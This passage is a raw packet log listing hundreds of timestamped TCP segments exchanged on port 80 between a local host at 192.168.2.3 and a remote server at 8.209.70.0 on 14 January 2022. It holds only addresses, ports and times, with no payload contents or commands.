Jan 14, 2022 20:24:02.611010075 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611011028 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611035109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611057997 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611072063 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611083031 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611104965 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611120939 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611129045 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611150980 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611151934 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611174107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611198902 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611208916 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611222029 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611246109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611248970 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611269951 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611291885 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611315966 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611319065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611341953 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611349106 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611365080 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611380100 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611390114 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611413002 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611437082 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611437082 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611462116 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611479998 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611485004 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611509085 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611532927 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611552954 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611555099 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611578941 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611591101 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611602068 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611624956 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611624956 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611649990 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611673117 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611680031 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611696959 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611716986 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611747026 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611769915 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611793041 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611815929 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611819029 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611839056 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611852884 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611862898 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611881018 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611886024 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611910105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611932039 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611932993 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611958027 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.611975908 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.611982107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612004995 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612030029 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612051010 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612054110 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612076998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612083912 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612099886 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612116098 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612123013 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612145901 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612169027 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612170935 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612191916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612227917 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612231016 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612255096 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612274885 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612277985 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612302065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612325907 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612349033 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612349033 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612371922 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612385988 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612396002 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612416983 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612418890 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612442970 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612466097 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612468958 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612488031 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612512112 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612535000 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612540007 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612557888 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612572908 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612581968 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612596035 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612607002 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612631083 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612653017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612677097 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612679005 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612700939 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612718105 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612724066 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612746000 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612746954 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612771034 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612793922 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612797976 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612818003 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612838030 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612840891 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612864017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612888098 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612910032 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612910032 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612935066 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612943888 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612958908 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.612977028 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.612982988 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613008022 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613029957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613038063 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.613054037 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613076925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613079071 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.613099098 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613122940 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613146067 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.613146067 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613168955 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613185883 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.613193989 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613210917 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.613219023 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.613260031 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.615843058 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.632949114 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633001089 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633059978 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633090973 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633095980 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633163929 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633198023 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633218050 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633234978 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633250952 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633266926 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633266926 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633294106 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633296967 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633310080 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633327961 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633349895 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633351088 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633371115 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633378983 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633388042 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633405924 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633421898 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633438110 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633440018 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633456945 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633475065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633482933 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633492947 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633508921 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633527040 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633538961 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633543968 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633560896 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633579016 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633580923 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633600950 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633603096 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633618116 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633627892 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633635998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633651018 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633662939 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633668900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633687019 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633701086 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633703947 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633722067 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633728981 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633738995 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633755922 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633774042 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633784056 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633795977 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633814096 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633824110 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633830070 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633861065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633865118 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633888960 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633892059 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633907080 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633925915 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633944035 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633958101 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633964062 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.633981943 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.633981943 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634001017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634020090 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634021044 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634037971 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634058952 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634072065 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634078979 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634097099 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634114981 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634116888 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634135962 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634145021 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634155035 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634170055 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634172916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634190083 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634208918 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634210110 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634227991 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634239912 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634257078 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634270906 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634283066 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634300947 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634303093 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634315014 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634327888 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634339094 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634347916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634367943 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634371996 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634387970 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634407043 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634411097 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634423971 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634438038 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634438992 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634457111 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634474039 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634481907 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634491920 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634510040 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634514093 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634524107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634536982 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634560108 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634578943 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634581089 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634597063 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634604931 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634614944 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634629965 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634633064 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634649992 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634664059 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634668112 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634685993 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634690046 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634702921 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634723902 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634732008 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634742975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634759903 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634764910 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634777069 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634788036 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634793997 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634810925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634824991 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634826899 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634840012 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634857893 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634869099 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634875059 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634891987 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634893894 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634911060 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634927034 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634928942 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634951115 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634969950 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.634979963 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.634987116 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635004044 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635004997 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635023117 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635035038 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635040998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635059118 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635073900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635075092 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635092020 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635101080 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635109901 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635126114 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635128975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635149956 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635164022 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635168076 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635185957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635205030 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635214090 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635227919 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635231972 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635248899 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635267019 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635268927 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635288000 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.635313034 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635334969 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.635421038 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652573109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652601004 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652612925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652633905 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652651072 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652667999 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652688980 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652694941 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652702093 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652720928 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652738094 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652755976 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652765989 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652775049 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652787924 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652798891 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652806997 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652818918 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652825117 CET	80	49889	8.209.70.0	192.168.2.3
